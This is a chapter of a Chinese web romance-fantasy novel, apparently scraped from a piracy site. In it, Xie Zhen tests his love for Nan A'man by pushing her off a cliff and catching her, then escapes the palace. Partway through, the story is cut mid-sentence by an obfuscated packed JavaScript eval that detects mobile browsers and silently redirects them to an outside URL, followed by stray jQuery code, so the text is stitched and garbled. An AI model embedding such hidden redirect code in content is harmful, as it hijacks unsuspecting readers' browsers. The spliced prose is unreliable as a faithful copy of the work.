27. 第 27 章

作品:《跑路后被疯批男主抓回成亲

    “我当时可费了好大的劲儿才捡起来的,你好好拿着,别再弄丢了。”


    南阿蛮将记忆珠郑重地放在谢真手心。


    失而复得的东西总是显得弥足珍贵,这颗不知藏了多少秘密的珠子此刻静静地放在谢真手心。


    谢真缓缓握紧了记忆珠,深觉这东西烫手极了。


    尤其是.....这是南阿蛮找回来的。


    他定定地看着她。


    脑中突然出现一些片段。


    雪夜初见,她踹门救人。


    梦中相见,她又再次相救,甚至为他解了困扰多年的梦魇。


    他还记得南阿蛮说的许多话。


    “感情是你情我愿的事情。”


    “我是为你而来的。”


    “你要是死了,我在这个世界就没有任何意义了。”


    这些话他从未刻意去记,但总能想起。


    “谢真,谢真!”


    呼喊声将他神智拽回,南阿蛮伸手在谢真眼前晃了晃。


    “你听到我说什么了吗?”


    谢真眼神逐渐聚焦,最终落在她身上,动了动嘴,“你说什么?”


    南阿蛮皱眉,有些担忧,伸手在他额头试了试,“你是不是打架把脑子打坏了,我说,你以后可不能将我一个人抛走了,我不丢下你,你也不许丢下我。”


    谢真扯扯嘴角,似乎觉得这话有些好笑,“我是让你逃命。”


    对面的人却摇了摇头,“什么逃命,没了你,我逃出去也是白搭。”


    “为什么?”


    谢真微微直起身子,带着十足十的探究问道。


    “没有为什么,在这个世界,你我生死都要在一块。”


    这话无赖又不讲理,可从南阿蛮嘴里说出来,却又绝对的真心实意。


    谢真咂摸着拿话的意思,思索良久。


    他孑然一人,在世上独行已久。


    这是他第一次正视南阿蛮说的这些话,从前她说的时候,虽想知道背后缘由,可也从未真正审视过。


    他绞尽脑汁,想不出个所以然,南阿蛮那句“生死都要在一块”一直在他脑中回响。


    以至于南阿蛮起身去看石碑上的字时,他都还在原地思索。


    那石碑上刻的字并不难理解。


    南阿蛮稍加思索便能明白是什么意思。


    这一线生机的条件着实苛刻又奇怪,为什么一人独行就粉身碎骨,两人同行便一息尚存。


    更何况,南阿蛮哀怨地看了一眼那在天幕下闪着光的银线。


    这和跟头发丝儿样的银线,也好意思叫一线桥?


    这哪里是桥?


    可南阿蛮管不了这么多,只有这一处通道,咬咬牙试一试,总归她与谢真两人刚刚好够得着过这一线桥的条件。


    待她回头望去,只见谢真目光沉沉,盯着一线桥那几乎不可见的银线沉思。


    察觉到她的目光,谢真将她拉过,与她十指相扣。


    “跟紧我。”


    说完,他率先踏上一线桥。


    南阿蛮条件反射地闭上双眼,手也不自觉握紧了他的手。


    再次睁眼时,谢真已经稳稳地站在银线上了。


    见此情况,南阿蛮悬着的心稍微放下。


    跟随着谢真的脚步,视死如归地踏上了一线桥。


    云之际,鸟独还。悬崖绝壁几千丈,绿萝袅袅不可攀。


    两人牵着手,一前一后,稳稳地走在一线桥上。


    走在后面的南阿蛮看不见谢真的表情,两人过了三分之一,谢真也没有开口说一句话。


    南阿蛮心中认定谢真是在专心过桥,不说话是不想分心,便也十分识趣地不开口,只认真过桥便是。


    可行至一半时,谢真的声音突然想起,吓了南阿蛮一个激灵,想到自己在走钢丝,南阿蛮瞬间动也不敢动,只盼着别身子一歪掉了下去。


    “你说,要同我生死都在一块。那你希望我也这样想吗?”他不知是带着怎样的想法问出这话。


    这话问的突然,南阿蛮一时间没反应过来,沉默两秒,才惊觉谢真这一路不说话该不会是在思考这个吧。


    南阿蛮不走了,谢真也不走了,他甚至转过身来面对着南阿蛮。


    谢真的这个样子认真又执拗,看着他的举动,南阿蛮哭笑不得。


    “我当然希望你也这么想,这样以后你做任何决定之前就会考虑到你身边还有一个我。”


    南阿蛮微笑看向谢真。


    如此,那些玉石俱焚、两败俱伤、同归于尽的疯狂做法,便有可能不会再发生。


    谢真阖上双眼,只一秒,又倏地睁开。


    耳边响起南阿蛮的惊呼。


    “你的眼睛.......我没有看错,真的是金色的!”


    南阿蛮好奇地看着他,手指在他的眼尾处描摹。


    由衷地赞叹:“真漂亮。”


    戴美瞳都没这么美!好嫉妒!


    谢真的目光越来越幽深,他不躲不闪,眨了两下眼睛,没头没尾地说了一句。


    “忘记这个。”


    此时,死去多时的系统突然活过来,通报着南阿蛮难以理解的话。


    【警告,警告,检测到目标心率异常,存在不正常指数飙升,建议宿主立即远离。】


    随后,在南阿蛮反应过来之前,谢真伸手将她推下了悬崖,眼睁睁看着她掉落深渊。


    远远望去,就像一只断了翅膀的鸟儿急速坠落。


    谢真的手指上还残留着她的温度。


    可不过两秒。


    谢真也随之跳下,两道白色身影一前一后,深渊中的怨灵感受到活人气息开始蠢蠢欲动,鬼哭狼嚎响彻云霄。


    在接住南阿蛮的那一刻,谢真清楚地看见她眼中的惊恐、愤怒、不可置信。


    随后他从悬崖上借力,往上一跃,两人重新回到了一线桥上。


    南阿蛮心有余悸,面如白纸,她真的以为自己要死了。


    谢真抱着她,眼中闪着奇异的光,对此没有任何解释说明,莫名其妙地来了一句。


    “我同意了。”


    看着抱着自己的谢真,南阿蛮心中怒火攻心,千言万语,到了嘴边最终化成一句。


    “我真操了。”


    随后昏迷不醒。


    谢真抱着南阿蛮,嘴角渐渐裂开,感受着自己蓬勃的心跳,任由心中奇怪的感情生根发芽。


    南阿蛮掉下去的一瞬间,他的第一反应是跟着跳下去。


    他用这样的方法确定自己的心意,评估南阿蛮口中的“生死都要一处”是否可行。


    他逐渐笑出声,身后是层层云海,脚下是万丈深渊,还有数千怨灵,他就这样稳健地抱着南阿蛮走在银线上。


    笑声渐大,久久不散,这是他这么多年最畅快的一次,只有这次,他放声大笑。


    他同意南阿蛮说的生死都要在一块了。


    同意将南阿蛮放在心上,从此不必再用杀人的快感抹去悸动的感情。


    她是谁,她的身份,她的目的,根本不重要。


    重要的是,他谢真要她。


    有花堪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15419999|168988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    折直须折,莫待无花空折枝。


    他懂苍溪的意思了,他要带南阿蛮出去,去见苍溪。


    七杀塔外,皇宫内,今夕何夕,今夕除夕。


    宫中备陈乐舞、设大宴。帝后共饮屠苏酒,一同祈愿。


    上下欢娱之时,一阵巨动传来。


    有人远远地望见七杀塔的方向出现一道白光,塔身隐隐晃动。


    一道白色身影破塔而出,怀中还抱着一人。


    谢真飞身而下,稳稳落地。


    目睹一切的宫人急忙跑向紫宸殿禀报。


    霎时间,整座皇宫乱作一团。


    谢翊和慕容兰赶来时,谢真正抱着南阿蛮走在长长的宫道上。


    大雪纷飞,他走过的每一步都在雪地上留下深深浅浅的引子。


    慕容兰看着破塔而出的他,目嗞欲裂。


    “你竟然还能出来!”


    谢真恍若未闻,只继续抱着南阿蛮朝着宫门走去。


    树欲静而风不止,自他出来直到现在,挡在他面前的人越来越多,直到将宫道围得水泄不通。


    看着阵仗,禁军都调来拿他一人了。


    他将南阿蛮往上颠了颠,以抱得更紧,像看死人一样看着面前的禁军。


    谢翊站在禁军之间,目光晦暗不明地看向他。


    “朕没想到,你竟然还能出来。”


    谢真冷嗤,“我在里面找到了有趣的东西。不知这个你想没想到。”


    此话一出,谢翊不明所以,倒是身旁的慕容兰脸色微变。


    谢真脚步未停,“你们都没死,我怎么可能死。”


    话音刚落,慕容兰便按捺不住,“闭嘴,大逆不道的混账。你能出七杀塔,想必也丢了半条命吧。此刻拿你,轻而易举。”


    说着,便看向谢翊,想让谢翊下令即刻捉拿。


    可谢翊不知为何,看着谢真白衣染血,一身的伤,竟是缓缓闭上眼睛。


    谢真进七杀塔的这几天,他在梦中时常见到慕容仙的身影。


    二十多年过去,他已经忘记慕容仙的样子,可在梦中看见时,他还是能一眼认出她的身段。


    慕容仙不说话,只是静静地看着他。


    死了这么多年,儿子受点苦又跑出来。


    自从见到慕容仙,谢翊便心神不宁,像是遗忘了很重要的事情,心里空荡荡的感觉越来越重。


    而今谢真出塔,面对这个流着他的血的儿子。


    谢翊重重地叹了口气。


    “你离开皇宫,再也不要回来。若是在外为非作歹,日后再见,朕定不留情面。”


    谢真皱皱眉,十分不解。


    “我是要离开,只不过,是这样离开。”


    话音刚落,数千条藤曼从地面破土而出,牢牢将禁军束缚,高高举在半空


    慕容兰见状,早已震惊得不能说话,好不容易缓过气来,颤颤巍巍指着谢真,不可置信道:“不可能,这不可能,你.....你竟然会巫术。”


    谢真懒得搭理,看了她一眼,一条藤曼迅速将她捆起,捂住嘴巴,让她再不能言语。


    谢真慢慢走到谢翊面前,轻声道:“你要如何不留情面?”


    随即无视谢翊的恼怒,朝着宫门走去。


    在他身后,宫中数座殿宇,燃气烈烈火光。


    南阿蛮此刻睁开眼睛,勉力问了一句,“这是去哪儿?”


    “去八华莲寺,我师父在那儿。”


    谢真低头,看着南阿蛮,眼里星光熠熠。


    “他在八华莲寺等着我们。”